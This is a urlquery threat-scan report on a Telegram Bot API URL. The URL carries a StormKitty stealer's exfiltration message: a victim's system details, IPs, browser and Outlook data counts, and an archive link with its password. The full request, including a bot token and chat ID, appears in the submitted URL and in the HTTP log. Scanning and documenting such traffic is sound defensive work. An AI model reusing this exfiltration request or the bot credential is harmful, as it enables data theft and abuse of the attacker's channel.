Report Overview

  1. Submitted URL

    api.telegram.org/bot5990183055:AAHa8E8xBNYsubsv4L9yj1AAGVlRjmuwxsg/sendMessage?chat_id=640015070&text=%0A%20%20%F0%9F%98%B9%20*StormKitty%20-%20Report:*%0ADate:%202021-10-20%204:57:06%20PM%0ASystem:%20Windows%207%20Enterprise%20(64%20Bit)%0AUsername:%20WALKER%0ACompName:%20WALKER-PC%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Core(TM)%20i7-8565U%20CPU%20@%201.80GHz%0AGPU:%20Standard%20VGA%20Graphics%20Adapter%0ARAM:%201535MB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0AWebcams%20count:%200%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.125.1%0AInternal%20IP:%20192.168.125.62%0AExternal%20IP:%201.254.1.255%0ABSSID:%2000:22:44:66:88:fe%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20-%20%F0%9F%8F%A6%20*Banking%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%92%B0%20*Cryptocurrency%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%8E%A8%20*Social%20networks*%20(No%20data)%0A%20%20%20-%20%F0%9F%8D%93%20*Porn%20websites*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Browsers:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2037%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%206%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%AB%20Outlook%20accounts%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%F0%9F%A6%A0%20*Installation:*%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%0A%F0%9F%94%97%20[Archive%20download%20link](anonfiles.com/adp5g0V5y9)%0A%F0%9F%94%90%20*Archive%20password%20is*:%20"_3316e32cd88a78851aad51e4f0c5ae81"_&parse_mode=Markdown&disable_web_page_preview=True

  2. IP

    149.154.167.220

    ASN

    #62041 Telegram Messenger Inc

  3. Submitted

    2023-02-01 15:42:20

    Access

  4. Website Title

  5. Final URL

  6. Tags

  7. urlquery detections

    No alerts detected

Detections

  1. urlquery

    0

  2. Network Intrusion Detection

    3

  3. Threat Detection Systems

    0

Domain Summary

Domain / FQDNRankRegisteredFirst SeenLast Seen
firefox.settings.services.mozilla.com8672020-06-04T22:08:41Z2023-03-13T05:09:10Z
content-signature-2.cdn.mozilla.net11522020-11-03T13:26:46Z2023-03-13T05:09:35Z
contile.services.mozilla.com11142021-05-27T20:32:35Z2023-03-13T05:09:13Z
push.services.mozilla.com21402014-10-24T10:27:06Z2023-03-13T05:09:14Z
img-getpocket.cdn.mozilla.net16312018-06-22T01:36:00Z2023-03-13T05:09:16Z
ocsp.godaddy.com6982012-05-20T21:28:57Z2023-03-13T05:12:19Z
api.telegram.org385092015-06-25T12:09:00Z2023-03-13T07:56:00Z
r3.o.lencr.org3442020-12-02T09:52:13Z2023-03-13T05:09:07Z

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

SeveritySource IPDestination IPAlert
lowClient IPInternal IP
lowClient IPInternal IP
lowClient IP 149.154.167.220

Threat Detection Systems

OpenPhish

No alerts detected


PhishTank

No alerts detected


Fortinet's Web Filter

No alerts detected


mnemonic secure dns

No alerts detected


Quad9 DNS

No alerts detected


ThreatFox

No alerts detected


JavaScript (66)

HTTP Transactions (22)

URLIPResponseSize
api.telegram.org/bot5990183055:AAHa8E8xBNYsubsv4L9yj1AAGVlRjmuwxsg/sendMessage?chat_id=640015070&text=%0A%20%20%F0%9F%98%B9%20*StormKitty%20-%20Report:*%0ADate:%202021-10-20%204:57:06%20PM%0ASystem:%20Windows%207%20Enterprise%20(64%20Bit)%0AUsername:%20WALKER%0ACompName:%20WALKER-PC%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Core(TM)%20i7-8565U%20CPU%20@%201.80GHz%0AGPU:%20Standard%20VGA%20Graphics%20Adapter%0ARAM:%201535MB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0AWebcams%20count:%200%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.125.1%0AInternal%20IP:%20192.168.125.62%0AExternal%20IP:%201.254.1.255%0ABSSID:%2000:22:44:66:88:fe%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20-%20%F0%9F%8F%A6%20*Banking%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%92%B0%20*Cryptocurrency%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%8E%A8%20*Social%20networks*%20(No%20data)%0A%20%20%20-%20%F0%9F%8D%93%20*Porn%20websites*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Browsers:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2037%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%206%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%AB%20Outlook%20accounts%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%F0%9F%A6%A0%20*Installation:*%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%0A%F0%9F%94%97%20[Archive%20download%20link](https://anonfiles.com/adp5g0V5y9)%0A%F0%9F%94%90%20*Archive%20password%20is*:%20%22_3316e32cd88a78851aad51e4f0c5ae81%22_&parse_mode=Markdown&disable_web_page_preview=True
149.154.167.220301 Moved Permanently169 B
r3.o.lencr.org/
23.36.77.32200 OK503 B
r3.o.lencr.org/
23.36.77.32200 OK503 B
r3.o.lencr.org/
23.36.77.32200 OK503 B
firefox.settings.services.mozilla.com/v1/
35.241.9.150200 OK939 B
content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-2023-02-28-18-04-20.chain
34.160.144.191200 OK5.3 kB
contile.services.mozilla.com/v1/tiles
34.117.237.239200 OK12 B
firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US
35.241.9.150200 OK329 B
r3.o.lencr.org/
23.36.77.32200 OK503 B
push.services.mozilla.com/
35.81.157.247101 Switching Protocols0 B
api.telegram.org/bot5990183055:AAHa8E8xBNYsubsv4L9yj1AAGVlRjmuwxsg/sendMessage?chat_id=640015070&text=%0A%20%20%F0%9F%98%B9%20*StormKitty%20-%20Report:*%0ADate:%202021-10-20%204:57:06%20PM%0ASystem:%20Windows%207%20Enterprise%20(64%20Bit)%0AUsername:%20WALKER%0ACompName:%20WALKER-PC%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Core(TM)%20i7-8565U%20CPU%20@%201.80GHz%0AGPU:%20Standard%20VGA%20Graphics%20Adapter%0ARAM:%201535MB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0AWebcams%20count:%200%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.125.1%0AInternal%20IP:%20192.168.125.62%0AExternal%20IP:%201.254.1.255%0ABSSID:%2000:22:44:66:88:fe%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20-%20%F0%9F%8F%A6%20*Banking%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%92%B0%20*Cryptocurrency%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%8E%A8%20*Social%20networks*%20(No%20data)%0A%20%20%20-%20%F0%9F%8D%93%20*Porn%20websites*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Browsers:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2037%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%206%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%AB%20Outlook%20accounts%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%F0%9F%A6%A0%20*Installation:*%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%0A%F0%9F%94%97%20[Archive%20download%20link](https://anonfiles.com/adp5g0V5y9)%0A%F0%9F%94%90%20*Archive%20password%20is*:%20%22_3316e32cd88a78851aad51e4f0c5ae81%22_&parse_mode=Markdown&disable_web_page_preview=True
149.154.167.220200 OK2.4 kB
r3.o.lencr.org/
23.36.77.32200 OK503 B
r3.o.lencr.org/
23.36.77.32200 OK503 B
r3.o.lencr.org/
23.36.77.32200 OK503 B
r3.o.lencr.org/
23.36.77.32200 OK503 B
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F82a4ade3-0c43-4f21-9738-0bc1dbb9a6a6.jpeg
34.120.237.76200 OK8.6 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fb28b8703-d49a-4e2e-80e7-cf4d081d6dba.jpeg
34.120.237.76200 OK5.7 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Ffc960001-158a-4a74-b6ce-f28cd110ca9c.jpeg
34.120.237.76200 OK8.7 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F46e30ba8-4b02-4bad-8cbf-1a128aa4376f.jpeg
34.120.237.76200 OK9.6 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F30335cb7-009a-42f5-8186-d0c302adc827.jpeg
34.120.237.76200 OK6.8 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fb36bfce9-5d67-458e-846d-ca30f9242449.jpeg
34.120.237.76200 OK14 kB
ocsp.godaddy.com/
192.124.249.36200 OK1.8 kB